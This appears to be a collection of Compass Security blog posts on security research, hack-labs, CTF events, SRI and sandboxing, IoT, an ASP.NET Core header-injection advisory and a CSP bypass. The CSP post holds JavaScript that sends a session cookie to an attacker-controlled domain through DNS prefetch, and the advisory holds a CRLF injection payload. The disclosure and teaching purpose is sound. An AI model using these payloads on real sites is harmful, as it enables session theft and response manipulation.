Wrap-up: Hack-Lab 2017#2

What is a Hack-Lab?

Compass Security provides a monthly playful occasion for the security analysts to get-together and try to hack new devices, dive into current technologies and share their skills with their fellows.

This also includes the improvement of internal tools, the research of newly identified publicly known attacks, and security analysis of hardware and software we consider useful for our future engagements. This hack-lab took place in our office in Bern.



The following topics, tools and technology has been discussed during this Hack-Lab:

  1. Threat Modeling and Security Concept session
  2. CMS Assessment
  3. JWT4B development
  4. GnuRadio door bell analysis
  5. Windows Share Enumeration Tool
  6. Exploit.courses testing and training


Topic #1 -Threat Modeling and Security Concept session

In a combination of talks and hands-on workshop sessions, Thomas Röthlisberger shared his knowledge about threat modeling and security concept creation and analysis with colleagues.

Information Security fundamentals:

  • Security Foundations – CIA
  • Security Design Principles
  • Threat Modeling and Standards

Security Concepts:

  • Ownership and Data Classification
  • Architecture and Network Topology
  • Web Security Controls
  • Operational Security

Topic #2 – CMS Assessment

Using different available security and hardening scanners, we try to asses the security of three CMS: Drupal, Joomla, WordPress.

The goal is to find new vulnerabilities and possible test cases. We refresh and update our Compass Knowledge and improve our tool-set for CMS security assessments.


  • Drupal
  • WordPress
  • Joomla
  • Web Scanners written in Python

Topic #3 – JWT4B development

We create a Burp plugin which helps the analyst testing apps which uses JSON Web Tokens (jwt.io).

The first step, which we performed in the previous hacklab, was to create a basic prototype, which enables Burp to visualize the tokens. During this hacklab we increased the functionality, implemented signature checking and interception functionalities. It is possible to comfortable modify the JWT token content.

Here a screenshot of the signature-checking functionality. The correct key was provided by the tester, which was detected by JWT4B (green indicator):


  • Java
  • JJWT (library)
  • JWT

Topic #4 – GnuRadio door bell analysis

We analyzed a wireless door bell with the help of GnuRadio and HackRF One. We captured the ASK modulated signal, and stored it as digital bitstream in a file. Afterwards we could successfully replay the stored bitstream, making the door bell ring. The next step will include to further analyze the bitstream. 


  • GNU Radio
  • HackRF One SDR
  • Kali Linux

Topic #5 – Windows Share Enumeration tool development

If a pentest is performed in a large environment, it is possible that hundreds of accessible Windows shares are available in the network. The goal is to create a tool, which supports us during our penetration tests. Our tool should display the following information for every share in the network:

  • IP Address
  • Hostname
  • Share Name
  • 20 top level files and directories
  • ACLs for the top level files and directories

We managed to implement this tool by combining  Linux Samba tools (smbclient, smbcalcs) in an advanced shellscript.


  • Windows, filesharing, network share
  • ACL, Permissions
  • masscan
  • samba / smbclient / smbcacls
  • Linux, Shell, Scripting

Topic #6 – Exploit.courses testing and training

Dobin Rutishauser teaches the “Exploiting & Defense” part of the Application- and Software-Security module at the Bern University of Applied Sciences (Berner Fachhochschule). For this assignment he created a website which provides writeups and challenges to be solved by the students. It also hosts dedicated per-user Linux container, accessible via JavaScript terminal. The Hack-Lab was used to check the website for usability problems, resistance against local DoS attacks, security problems and also basic functionality checks. We also performed a review of some of the writeups, where the team members solved several of the challenges. This includes the ARM buffer overflow challenge, and an extended version of the shellcode development challenge.

The team could identify several small bugs, some small mistakes in the writeups, and gave valuable usability improvement feedback.


  • qemu, LXC / LXD
  • x86, x64 and ARM
  • gdb, readelf and python
  • AngularJS and go

Hacking-Lab @ CodeMash 2017

What is CodeMash?

CodeMash is a conference for software developers and IT security professionals. It takes place every year in Sandusky, Ohio, in the U.S.

The event consists of two parts: two days of training sessions (called “PreCompiler”), followed by two days of conference with sessions. It attracts about 3’000 visitors and takes place in the Kalahari resort, which hosts, besides a huge conference center, the largest indoor water park in the U.S.

What the heck did Hacking-Lab do there?

Hacking-Lab was asked to run a Capture-The-Flag tournament at the conference. Ivano and myself took this chance and decided to visit the conference as a sponsor.


We had a sponsor booth during the conference part. Many people showed up, and we had a lot of interesting discussions! We also gave a lot of “swag” (stickers, USB chargers, etc.).

Capture-The-Flag Tournament

As mentioned above, we were running the official Capture-The-Flag (CTF) tournament of the conference. Even though it was running in parallel with all the interesting sessions at the conference, 100 participants signed up and did a great job! There was quite a neck-and-neck race between the top three, jslagle, CodingWithSpike and fire.eagle!

Win-a-shirt Challenge

Besides the CTF, we also ran a “Win-a-shirt” challenge. It was necessary to solve a small puzzle (simple cipher written in JavaScript), in order to grab a Hacking-Lab t-shirt at our booth. 110 conference visitors did so, and are happy owners of a cool t-shirt now!


Training Session

In the “PreCompiler” part, we had a successful, four-hour training sessions. 80 showed up and took the chance to learn about Hacking-Lab. We assisted them in getting ready for the CTF, and they could solve some “Step-By-Step” challenges in Hacking-Lab.

Talk and Sessions

I gave a sponsor talk with the title “Capture-The-Flag Done Right: Attack/Defense System”. I explained our attack/defense system (which we used at the European Cyber Security Challenge), and made some live-demos. Besides that, we also had an “after dark” session, and a couple of “open space” sessions, where we supported CTF players.



The CodeMash conference is simply amazing! We were really impressed. Great atmosphere, friendly people, and well organized. The location is great, too. Hacking-Lab will be definitely back next year! There are already plans to run a second competition next year, in addition to the CTF. It should be more like a scavenger hunt, with puzzles and riddles. Perhaps, pretty much like our Hacky Easter events.

How to reduce the threat from third-party includes

To achieve better-looking, more feature-rich and responsive applications, there is an ever-growing need to include resources from 3rd party domains into your web application. Common examples are JavaScript frameworks like jQuery or AngularJS, often distributed via a content delivery network (CDN), or even complete applications like Google Maps. But by including these resources, the security boundary of the web application is extended to include these 3rd party domains. If they get compromised, the delivered resources my be modified or backdoored, thus injecting malicious code into your website.

Fortunately, two browser-side mechanisms have been introduced to mitigate or limit the impact from externally-included resources: Subresource Integrity and sandboxing.

Subresource Integrity

Subresource Integrity (SRI) allows developers to pin down certain versions of scripts or stylesheets which are included from external domains. The goal is to ensure that the external script has not been modified inadvertently, or intentionally replaced or altered by an attacker. A cryptographic hash is used to ensure that the version included in the website has not been tampered with:

<script src="https://external.cdn.ch/example-framework.js" 

As soon as the content of the external resource “example-framework.js” changes, the hash set on the consuming website does no longer match the script’s hash and the script will not be run by the browser. Note that Cross-Origin Resource Sharing (CORS) must be enabled on the Content Delivery Network’s side to be able to use the integrity attribute, or else the script will not load at all, even with a correct hash.

The SHA-512 hash to pin down external resources can be calculated as follows:

cat example-framework.js | openssl dgst -sha512 -binary | 
openssl base64 -A

While only the script and link tags support the integrity attribute by the time of writing, other tags will probably follow, enabling developers to also ensure the integrity of images or other content embedded from externally.

The crossorigin attribute defines whether or not the browser should send credentials when fetching the external resource. It defaults to anonymous if an invalid value is given. The values are defined as follows:

Keyword State Description
anonymous (or empty string) Anonymous Requests for the element will have their mode set to “cors” and their credentials mode set to “same-origin”. (i.e. CORS request and credentials for the external domain are not sent with the request)
use-credentials Use Credentials Requests for the element will have their mode set to “cors” and their credentials mode set to “include”. (i.e. CORS request and credentials for the external domain are sent with the request)
[crossorigin attribute not present] No CORS Requests for the element will have their mode set to “no-cors”. As a consequence, data cannot be read cross-origin.

Security considerations

SRI only makes sense if the website is secured with TLS. If an attacker is able to intercept and alter the website he can inject his own scripts and strip the hashes or generate them on-the-fly.

Since hashes like MD5 or SHA-1 are prone to collision attacks, they should be avoided for pinning external resources. SHA-384 or SHA-512 are considered secure.

Note that only Firefox, Chrome and Opera support SRI at the time of writing. This means that users of Internet Explorer or Edge do not benefit from the SRI protection. Therefore it is still preferable to host the resources on your own domain, than to depend on SRI.

While SRI can be used to ensure the integrity of external resources, it does not feature a report mechanism that tells the including party if a script has been modified and therefore does no longer run in the user’s browsers. A report-uri mechanism, as known from HSTS, HPKP or CSP, would need to be custom-developed.


From a security standpoint, it is a bad idea to include external resources directly into the website, because this is giving them full access to the website’s Document Object Model (DOM). A resource could thus access and alter the whole content of the website. When confined in an iframe, access to the parent’s DOM is restricted. It is however still possible to open pop-up windows from within the iframe, display dialogs or perform other unwanted actions. With the HTML5 feature sandboxing, it is possible to further restrict the behavior of “iframed” content.

The following examples would embed content into an iframe, while disabling JavaScript, applying a unique origin to its content and preventing it from using the top-level browsing context:

<iframe src="//external.cdn.ch/example_resource.html" 
id="sandboxed_frame" sandbox="" height="500" width="700"></iframe>
<iframe src="//external.cdn.ch/example_resource.html" 
id="sandboxed_frame" sandbox height="500" width="700"></iframe>

An empty or missing “sandbox” value applies the sandbox as restrictively as possible. This would prevent any execution of JavaScript in the iframe. It is however possible to soften up the sandbox with various flags as shown in the following table, to allow dynamic and interactive content:

Directive Effect
allow-popups Enables iframe content to open pop-up windows.
allow-pointer-lock Enables iframe content to use the Pointer Lock API. The mouse movements can be tracked and the mouse pointer can be hidden.
allow-scripts Enables iframe content to run JavaScript (with the exception of code which must be enabled through further flags, e.g. window.open())
allow-popups-to-escape-sandbox Enables iframe content to create pop-up windows without sandbox restrictions. (Why would you want to do that?!?)
allow-modals Enables iframe content to display modal windows such as alert();, prompt(); or through showModal().
allow-top-navigation Enables iframe content to load content to the top-level browsing context, e.g. via href or target=”_top”.

Sandboxed iframe content resides in a custom origin, isolating it from the originating domain. It can therefore not perform requests or read data from its original origin. This directive allows the iframe content to run in the originating domain, thus removing those restrictions.

allow-forms Enables iframe content to submit forms.
allow-presentation Enables iframe content to start presentations.

As always, the sandboxing directive should be set as restrictively as possible. All major browsers support the sandbox feature. While the execution of JavaScript cannot be avoided for non-static content, sandboxing can nonetheless prove valuable to prevent those scripts from opening pop-up windows, dialogues or screen-filling content which could be abused to trick users into revealing their credentials.

Our next Web Application Security courses

Wrap-up: Hack-Lab 2017#1

What is a Hack-Lab?

Compass Security provides a monthly playful occasion for the security analysts to get-together and try to hack new devices, dive into current technologies and share their skills with their fellows.

This also includes the improvement of internal tools, the research of newly identified publicly known attacks, and security analysis of hardware and software we consider useful for our future engagements.



The following topics, tools and technology has been discussed during this Hack-Lab:

  1. SharePoint Security
  2. Bypassing Android 7.0 HTTPS Apps Certificates Restriction
  3. JWT4B
  4. CodeInspect
  5. Smart Meter
  6. DNS Tunnel Debugging


Topic #1 – SharePoint Security Lab and Knowledge Sharing

SharePoint is a very popular browser-based collaboration and content management platform. Due to its high complexity, proprietary technology and confusing terminology it is often perceived as a black-box that IT and security professionals do not feel very comfortable with.

In a combination of talks and hands-on workshop sessions, Thomas Röthlisberger shared his research work with colleagues. They challenged his findings and shared their thoughts on pros & cons of security relevant settings. The outcome of this Hack-Lab session will be shared in a series of blog posts within the next couple of weeks.

The research in our very own hands-on SharePoint lab allows us to gain an in-depth understanding of any type of SharePoint environment, be it a purely internal collaboration web application, a platform to share information with external partners or a publishing site hosting the company website. To build or assess a secure SharePoint environment one needs to understand the importance of governance, logical and physical architecture, network topology, active directory considerations, authentication and authorization, segregation of classified data, hardening and most importantly web security relevant settings to make sure the built-in protection measures are effective. Like other modern Microsoft products, an out-of-the-box SharePoint installation can be considered secure. However, there are so many weirdly named settings which heavily depend on each other that misconfiguration is likely to happen, leaving the door wide open for unauthorized access by adversaries with SharePoint skills.


  • SharePoint Server 2010 & 2013
  • Web Applications, Site Collections, (Sub-)Sites, (Custom) Lists, Document Libraries, Web Part Pages, Web Parts, Apps
  • Web Security, Cross-site Scripting (XSS), Cross-site Request Forgery (CSRF)
  • Navigation Links
  • Web Sensitive Files, permission to Add & Customize Pages and Scriptable Web Parts, e.g. Content Editor and Script Editor (“SafeAgainstScript=False”)
  • Browser File Handling
  • Web Page Security Validation (aka Anti-CSRF token)
  • Lockdown Mode Feature
  • Remote Interfaces SOAP, CSOM, WCF Service, REST Interface
  • Server-Side Controls
  • .NET Sandboxing, Sandboxed Solutions and Apps
  • Self-Service Site Creation
  • Developer Dashboard
  • Audit Logs
  • People Picker

Topic #2 – Bypassing Android 7.0 HTTPS Apps Certificates Restriction

With Android 7.0, apps do not trust user imported certificates anymore.  Intercepting app network traffic with a proxy has become more complicated.

The goal is to find or create a custom application which is explicitly developed for Android 7.0. Then to configure the app with the network_security_config.xml file, which is used to bypass this restriction,  and therefore enables user defined certificates.


  • Android Studio
  • Android 7.0
  • Apktool

Topic #3 – JWT4B

Create a Burp plugin which helps the analyst when testing an app that uses JSON Web Tokens (JWT.IO).

Frist step is to create a prototype which enables Burp to visualize the tokens. On further hacklabs it should be possible to automatically perform JWT attacks.


  • Java
  • JJWT (library)
  • JWT

Topic #4 – CodeInspect

Evaluation of CodeInspect’s features.

Determine if CodeInspect could be used to make future  Android app analysis assessments more efficient.


  • Java
  • Android

Topic #5 – Smart Meter


An Energy Monitoring System was provided for testing. It is used to measure the current consumption and provides various interfaces. Web browser (TCP/IP) and Modbus are the main ones.

Assess the security of the interfaces. What can an attacker exploit if given network access to the device?


  • TCP/IP
  • Modbus
  • HTTP Web Application

Topic #6 – DNS Tunnel Debugging

Compass Security has its own trojan toolkit which we use for responsible phishing attacks in mandate for our customers, and also demos and proof of concepts. The trojan also implements DNS tunneling.

Analyze the source code and perform debugging to identify and fix some reliability issues while performing DNS tunneling with multiple clients.


  • C++

IoT (in)security


IoT devices in the news have been proliferating at an ever-increasing rate. Both hardware manufacturers and news agencies are trying to capture the attention of the general public with the next killer device and/or application combinations.

More recent IoT news items included analysis on the Mirai botnet [0] and its effect on the internet as a whole, and a more jokingly unintended consequence of IoT device implementations, the news about “Alexa, buy me a dollhouse” broadcast on national television in the US, triggering various orders for all the station’s Alexa-device owning viewers (with follow up stories about the original triggering even more orders).


The Mirai malware (“command and control centre was written in Go (1197 lines of code) and its botnet agent was programmed in C (5732 lines of code)” [1]) effectively uses default usernames and passwords, of 60 common factory defaults, to log into and infect devices to further spread itself. Leaving users unaware as to the infection, the devices keep functioning normally, except for the increased use in bandwidth. Although a simple fix is possible, device owners can simply reset the devices as the malware is not persistent in its initial implementation, devices were however typically reinfected within minutes of the reset. The malware, that seemingly does not play well with others of its kind, uses a technique called memory scraping to clear other possible botnet processes (read: competitors) from memory, and also included a “don’t mess with” list, showing the developer(s)’ “concerns for drawing attention to their activities”. [1]

Akamai’s post-mortem [3] on the DDoS event mentions traffic of up to 620 Gbps or “nearly double that of the previous peak attack” on their platform, for the blog of the security Blog Krebs on Security. Akamai aims to provide DDoS protection. The end effect of this particular event lead to the creation of Google’s project Shield to aid journalists from DDoS attacks, as Akamai bowed out on its pro bono support of the victimized security journalist Brian Krebs [2].

According to Flashpoint researchers [4] at least one attack was initiated from the Mirai Command and Control server although they do not consider the attackers to be either politically motivated or a nation state actor. What is however interesting is the leveraging of a malware platform for modification and future configuration of the botnet, in order to ensure longer term persistence amidst possible mitigations effected by security professionals. Claiming ownership and making the initial source-code available for review purposes, Anna-senpai (user on hackerforums [5]) posted a write up on the functioning of the system as well as sources.

The question then becomes, how something as basic as default username and password combinations can affect basic infrastructure with such a massive amount of traffic leading to service interruption, and more importantly, how could one go ahead in preventing this in future?

Standardization and governing body pressure

In the US, the Federal Trade Commission launched both a $25k prize competition [6], that “challenges the public to create a solution (“tool”) that consumers can use to guard against security vulnerabilities in software found on the Internet of Things (IoT) devices in their homes”, and a complaint against Taiwanese manufacturer D-Link [7] for putting customers at risk with their internet routers and web cameras.

In Europe focus is also shifting towards enforced security standards and best practices for IoT vendors, by the European Commission. “That’s really a problem in the internet of things. It’s not enough to just look at one component. You need to look at the network, the cloud. You need a governance framework to get certification,” Thibault Kleiner – deputy head of cabinet (4 October 2016) [7]

Secure development and the OWASP angle

OWASP’s IoT attack surface areas document is still in draft form and covers the following areas of concern: ecosystem access control, device memory, device physical interfaces, device web interface, device firmware, device network services, admin interfaces, local data storage, third-party APIs, mobile application, vendor backed APIs, ecosystem communication and network communication.

The OWASP list shows clearly the plethora of considerations both security operations personnel have to consider when introducing IoT devices into their information technology ecosystem, and IoT hardware and software developers / integrators when planning and designing these devices.

Compass IoT challenge for European Cyberstorm

Here at Compass we wanted something to physically put in the hands of conference attendees at the European Cyberstorm of 2016. The low-cost ESP8266 WiFi chip, with full TCP/IP stack and micro controller unit looked interesting (for those hardware interested amongst you, look out for the follow up ESP32 chip) and Reto Schädler (see his more comprehensive post here) designed a bIOTech (pun intended) device with the chip that could monitor the moisture levels of potted plants and communicate this back to the plant owner with an email update, below given trigger levels of moisture.

Some intentionally built-in vulnerabilities allows for further fun (we didn’t want those receiving the device to just pot it and run) and a related Cyberstorm jeopardy (non attack/defense related) hardware challenge that required teams to hack the device was also created. The intentional vulnerability is that the firmware does not verify the integrity of certificates and can therefore also be used to demonstrate how a faulty security implementation leads to the possibility of man-in-the-middle attacks, to potential customers.

For the European Cyberstorm Challenge (ECSC) of 2016, this bIOTech device was supplied to the respective teams one day in advance with the standard firmware (Cyberstorm device setup), in order to get the team familiar with the modes of operation of the device (configuration mode – for AP setup, programming mode – for UART software loading, and operational mode – standard measurement and communication mode). On the day of the challenge, the same hardware was supplied to teams but with different firmware (CTF device setup). The EEPROM contained the new (non-standard) configuration data including access point, password, device identifier and unique identifier. Teams were required to first write their own software to dump the EEPROM information, then load their custom software to the devices in programming mode and finally read out the memory in order to be able to complete the challenge by reading out the memory, access point password and unique device ID.

Reto Schädler shared the caveats whilst designing conceptualization and mentioned that encryption is costly on this particular device, and therefore leeches battery power fast. The follow up chip (ESP32) has more features that include amongst others Bluetooth support and also hardware-accelerated support for AES, SHA2, EC and RSA-4096.

So what do you need to consider, to go from

Schema Compass bIOTech v1.0



Versuchsaufbau Compass bIOTech v1.0


to source code to


ready device


What to consider when designing IoT devices

First offered in 2016 the 2-day Compass Security developed IoT course already had several successful iterations with updated content related to hardware and software IoT protocols and technologies:


Those motivated to develop secure devices from conception to deployment can expect hands-on know-how training with lab exercises, run through challenges in the Hacking Lab infrastructure. Participants will also be given extended access to the challenges in order to hone their skills after the on-site training is completed.

Target audience: IoT hardware and software developers, security personnel responsible for IoT deployment and integration, IoT interested people.

The course will be held on the 14 and 15th of February in Bern, 9 and 10th of May in Berlin, and 29 and 30th of August in Zürich. For more information check the Compass IoT course page, or the Compass course calendar.


[0] https://www.incapsula.com/blog/malware-analysis-mirai-ddos-botnet.html
[1] http://icitech.org/wp-content/uploads/2016/12/ICIT-Brief-Rise-of-the-Machines.pdf
[2] http://fortune.com/2016/09/27/google-krebs-project-shield-hack/
[3] https://blogs.akamai.com/2016/10/620-gbps-attack-post-mortem.html
[4] https://www.flashpoint-intel.com/action-analysis-mirai-botnet-attacks-dyn/
[5] https://github.com/jgamblin/Mirai-Source-Code/blob/master/ForumPost.md
[6] https://www.ftc.gov/iot-home-inspector-challenge
[7] https://www.euractiv.com/section/innovation-industry/news/commission-plans-cybersecurity-rules-for-internet-connected-machines/

Blackout: Wenn Hacker den Strom abschalten

Dieser Blog Post dient als Hintergrundartikel zum SRF Thementag «Blackout»: Wenn die Schweiz plötzlich keinen Strom mehr hätte vom Montag, 2. Januar 2017, 13.00 bis 22.00 Uhr (SRF News, SRF Kultur Wissen Beitrag)


Wie ist die Vorgehensweisen von Hackern, die unerlaubten Zugriff auf fremde Systeme erlangen wollen? — beispielsweise im Netzwerk eines Energieversorgungsunternehmens. Basierend auf diesen Muster hat die Compass Security im Rahmen des SRF-1 Blackout Tag gearbeitet. Der Artikel soll Sie sowohl für die Angriffsseite sensibilisieren, als auch wertvolle Tipps zur Abwehr geben.

Wer ist Compass Security

Compass Security ist eine Schweizer Unternehmung aus Rapperswil-Jona und Niederlassungen in Bern und Berlin die versuchen im Auftrag des Kunden die Sicherheit von IT Systemen zu testen. Man nennt diese Tätigkeit auch Penetration Testing oder Ethical Hacking. Im Grunde geht es darum Sicherheitslücken zu finden, bevor diese durch echte Hacker ausgenutzt werden. Wer sich regelmässig testen lässt, der wird massgeblich besser in der Cyber Abwehr.

Vorgehen bei einem Hacker Angriff

Direkte Angriffe

Direkte Angriffe richten sich unmittelbar gegen die IT-Infrastruktur eines Unternehmens. Typischerweise sucht ein Angreifer dabei nach Schwachstellen auf einem Perimeter System, dass ins Internet exponiert ist.
Direkte Angriffe

  1. Ein Angreifer versucht unerlaubten Zugriff auf interne Systeme zu erlangen.
  2. Der Angreifer, beispielsweise vom Internet her, sucht nach offenen Diensten die er möglicherweise für das Eindringen ausnutzen kann.
  3. Ein ungenügend geschützter Dienst erlaubt dem Angreifer Zugriff auf interne Systeme.

Indirekte Angriffe

Im Gegensatz zu direkten Angriffen, nutzen indirekte Angriffe nicht unmittelbar eine Schwachstelle auf einem ins Internet exponierten System aus. Vielmehr versuchen indirekte Angriffe die Perimeter Sicherheit eines Unternehmens zu umgehen.

Variante 1: Man-in-the-Middle / Phishing Angriffe

Indirekte Angriffe

  1. Ein Angreifer schaltet sich in den Kommunikationsweg zweier Parteien. Dies erlaubt ihm das Mitlesen sensitiver Informationen.
  2. Der Angreifer nutzt die erlangten Informationen um unbemerkt auf interne Systeme zuzugreifen.

Variante 2: Malware / Mobile Devices / W-LAN
Indirekte Angriffe

  1. Ein Angreifer infiziert ein Gerät mit Schadsoftware.
  2. Durch die Schadsoftware erlangt der Angreifer Kontrolle über das infizierte Gerät, welches Zugriff auf andere interne Systeme hat.
  3. Zusätzlich kann ein Angreifer über andere Zugriffspunkte ins interne Netzwerk gelangen, beispielsweise über unsichere Wireless-LAN Access Points.

Variante 3: Covert Channel (Inside-Out Attacke)
Indirekte Angriffe

  1. Ein Angreifer präpariert ein Medium wie USB-Sticks oder CD-ROMs mit Schadsoftware.
  2. Der Angreifer bringt sein Opfer dazu das Medium zu verwenden.
  3. Die Schadsoftware wird automatisiert ausgeführt und verbindet sich unbemerkt zurück zum Angreifer. Der Angreifer erhält die Kontrolle über das infizierte Gerät.

Sechs Tipps zur Abwehr

  1. Regelmässige Aktualisierung von Betriebssystem, Browser und Anwendungssoftware
  2. Schutz durch Verwendung von Firewall und Anti-Viren Software
  3. Verwendung von starken Passwörtern, sowie deren regelmässige Änderung
  4. Löschen von E-Mails mit unbekanntem Absender, Sorgfalt beim Öffnen angehängter Dateien
  5. Vorsicht bei der Verwendung von unbekannten Medien wie USB-Sticks oder CD-ROMs
  6. Regelmässige Erstellung von Backups

Wie kann Compass Security Ihre Firma unterstützen?

  • Penetration Tests: Simulation von Angriffen mit oder ohne Insider-Wissen
  • Security Reviews: Überprüfung und Analyse von Systemen und Konfigurationen
  • Incident Response: Unterstützung während und nach Angriffen
  • Security Trainings: Ausbildung und Sensibilisierung

Gerne prüfen wir, ob die Zugriffe auf Ihre wichtigsten Systeme sicher sind!


Unter folgenden Referenzen finden Sie Tipps und Anregungen zu häufig gestellten Fragen.

ASP.NET Core 5-RC1 HTTP Header Injection Vulnerability

ASP.NET Core is a open-source and cross-platform framework for building modern cloud based internet connected applications, such as web apps, IoT apps and mobile backends. ASP.NET Core apps can run on .NET Core or on the full .NET Framework. It was architected to provide an optimized development framework for apps that are deployed to the cloud or run on-premises. [1]

The ASP.NET 5-RC1 Web Application Template is vulnerable to a HTTP Header Injection. Control characters are not filtered in the URL. This allows to send a carriage return character (%0D and %0A) in the ReturnUrl parameter. The content after the carriage return character is injected into the HTTP Response Header.

As a proof of concept, we show how this HTTP header injection can be used to redirect the victim from the destination website azurewebsites.net to www.csnc.ch. We use the string “/Account/\r\nLocation: http://www.csnc.ch” as “ReturnUrl” parameter:

Host: [CUT BY COMPASS].azurewebsites.net
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 240
Username=[VALID USERNAME]&amp;amp;Password=[VALID PASSWORD]&amp;amp;__RequestVerificationToken=[CUT

The server generates the following response, with the parameter from the GET requested inserted into the HTTP response headers. In this case a manipulated redirection location (“Location: http://www.csnc.ch”):

HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 0
Expires: -1
Location: http://www.csnc.ch
Server: Microsoft-IIS/8.0
Set-Cookie: .AspNet.Microsoft.AspNet.Identity.Application=[CUT BY COMPASS]; path=/;
secure; httponly
X-Powered-By: ASP.NET
Date: Tue, 12 Apr 2016 13:50:23 GMT
Connection: close

With the same attack, also other HTTP Header values can be manipulated, e.g. it’s possible to set new cookies, or to overwrite existing cookies.

Microsoft patched the software since the version 1.0.0-RC2 of ASP.NET Core. Their bugfix consists of refusing parameters with control characters (ASCII values smaller than 0x20).

Github source code change:

New character check in the code:

+        public static void ValidateHeaderCharacters(string headerCharacters)
+        {
+            if (headerCharacters != null)
+            {
+                foreach (var ch in headerCharacters)
+                {
+                    if (ch < 0x20)
+                    {
+                        throw new InvalidOperationException(string.Format("Invalid control character in header: 0x{0:X2}", (byte)ch));
+                    }
+                }
+            }
+        }

The Compass advisory is available via here

Microsoft paid 5000$ based on their bug bounty program for Microsoft .NET Core: https://technet.microsoft.com/en-us/library/dn425036.aspx

[1] https://github.com/aspnet/home

SAMLRequest Support for SAML Raider

About a year ago, the Burp extension SAML Raider [0] was released as a result of a bachelor thesis [1] in collaboration with Compass Security. This Burp extension automates most of the steps, which are necessary to test a SAML single sign-on process and perform according attacks. With SAML Raider, an authentication bypass vulnerability in a Service Provider was found [2]. More information is available in our first blog post about SAML Raider here: SAML Burp Extension [5].

We did some bugfixing and added new features to SAML Raider in the past year. In version 1.2.0, we introduced the new ability to intercept and edit SAMLRequest Messages. The current version is 1.2.1, which is available here [3] on GitHub. It will also be in the official Burp Suite BApp store [4] shortly.

Decode SAMLRequest Message

There are several Burp Extensions [6] like SAML ReQuest [7], SAML Editor or SAML Encoder which allows you to edit SAMLRequests. We also got asked [8] if this feature is supported in SAML Raider, which was not the case. Because this would be a nice feature, we implemented it in version 1.2.0.

What is a SAMLRequest?

A SAMLRequest is the SAML message, which is sent from the user (browser) to the Identity Provider, to “ask” for an assertion. Usually, the SAMLRequest is sent to the Identity Provider, which will respond with a login form to ask for the credentials. If the login was successful, the SAMLResponse is sent back to the client, which is then forwarded to the Service Provider.

A SAMLRequest is sent via POST to the Identity Provider and looks like this:


So, it’s quite clear, that this is not so practical for quick editing and testing.

SAMLRequest in SAML Raider

SAML Raider is now able to properly decode a SAMLRequest and display it in the SAML Raider tab:


Now it is very easy to modify the SAMLRequest. The SAMLRequest is automatically encoded back in it’s original format and forwarded to the target, if the Forward button is clicked.

But why do you need to view/edit the SAMLRequest? With this new feature, you can read what the client is sending exactly to the Identity Provider and perform fuzzing or testing the Identity Provider itself.

So, if you have any questions, issues or features requests, don’t hesitate to contact us or open an Issue on GitHub [0].


Bypassing Content-Security-Policy with DNS prefetching


The Content Security Policy (CSP) is one of the main web-based security mechanisms which helps websites’ owners to reduce their risks caused by Cross-Site-Scripting (XSS) or code injection attacks [1]. The CSP is nothing more than a policy that defines from where and to where a something can be loaded and fetched. This is preventing cross-domain loading by malicious code from external sites. However, the CSP concept is not protecting against data exfiltration techniques.

Different researches pointed out different methods to exfiltrate information and circumvent the CSP [2]. This blog post will focus on the data exfiltration method using the Browser DNS Prefetching mechanism illustrated at [3]. Further information about the CSP can be found on our previous blog post or by visiting the CSP website [4].

Browser DNS Prefetching

On the Web, every millisecond matters, browsers are the windows of the Internet and have to be as fast as possible to allow users to get the best surfing experience. One method implemented by browsers to be more efficient is DNS Prefetching. The idea behind is to pre-resolve hostnames into IP addresses and cache them for a later usage. The browser pre-resolves hostnames discovered in the content of the received page (like hostname in a tags), saving hundreds of milliseconds to seconds of the user’s time.


Source [deanhume.com]

To manage the automated DNS prefetching feature of the browser, the X-DNS-Prefetch-Control HTTP Header is used [5][6].

x-dns-prefetch-control: off

This header has two possible values, either “on” or “off”. By default, if the header is not set, the automated DNS prefetching is enabled for the pages acquired over HTTP and disabled for those available over HTTPS. In addition, a developer can tell the browser which hostname should be pre-resolved, this can be done using the <link> tag. For example, this tag <link rel=”dns-prefetch” href=”compass-security.com”> will cause the browser to perform a DNS prefetch of the compass-security.com domain.


This technique is undoubtedly good to considerably decrease the webpage loading time. However, this feature allows an attacker to bypass the CSP policies and exfiltrate information like sessions’ cookies or credentials.

Now I will introduce how a possible attack scenario works:

Imagine the attacker has discovered a web application vulnerable to XSS where he can inject some JavaScript code (non-inline). However, the CSP is preventing the information leakage and the attacker cannot send any data to his external server. The policy, which is very strict, is set as follows:

Content-Security-Policy: default-src 'none'; script-src 'self'

This defined CSP policy allows only script resource loaded from the website itself.

Now, taking advantage of the automated DNS prefetching, the attacker can include the information he wants to leak inside valid DNS names owned by him. For example, the session cookie with value “abcd1234” will be transformed into the domain name “abcd1234.attacker.ch”, which can now be injected in the page DOM using the following link tag:

<link rel="dns-prefetch" href="//abcd1234.attacker.ch">

The following JavaScript code will inject the above tag programmatically:

var sessionid = document.cookie.split('=')[1]+"."; 
var body = document.getElementsByTagName('body')[0]; 
// injecting the link tag in the HTML body force the browser 
// to prefetch the given domain 
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\"
  href=\"//" + sessionid + "attacker.ch\">";

After executing the injected JavaScript, the browser starts the pre-fetching procedure and the resolution of the domain name “abcd1234.attacker.ch” will take place. Now the attacker only needs to log the DNS requests on his DNS server to be able to read back the leaked information.


Conclusion and Mitigation

This attack shows the limitation of the current CSP definition, which does not take in account the DNS pre-fetching mechanism and data exfiltration vulnerability. Talking to the fellows inventing CSP we have learned, that data exfiltration was never the main goal of the project, instead it was designed to protect against XSS.

Currently, there are no concrete countermeasures against this kind of attack which uses DNS prefetch as vector. Firefox is the only browser which allows to disable the prefetching mechanism using the X-DNS-Prefetch-Control header. Compass Security still encourages the use of CSP and as always best practices like input validation and output encoding should be used to avoid the problem at the root.

Sources & References

  1. http://content-security-policy.com/
  2. http://tobias.lauinger.name/papers/csp-raid2014.pdf
  3. http://www.cse.chalmers.se/~andrei/asiaccs16.pdf
  4. https://www.w3.org/TR/CSP/
  5. https://developer.mozilla.org/en-US/docs/Web/HTTP/Controlling_DNS_prefetching
  6. http://dev.chromium.org/developers/design-documents/dns-prefetching

Android 7.0 Security Features: Direct Boot

Android 7.0 (Nougat) brings a lot of new interesting security features such as:

  • Direct Boot
  • Key Attestation
  • Network Security Configuration
  • Scoped Directory Access
  • Media Server Hardening

All of these topics are very interesting from a security perspective. However, in this blog post we will solely focus on Direct Boot.


There are apps, which should be available directly after booting the device. A good example is already provided in the Android examples – the alarm app [1][2].

DirectBoot Alarm App

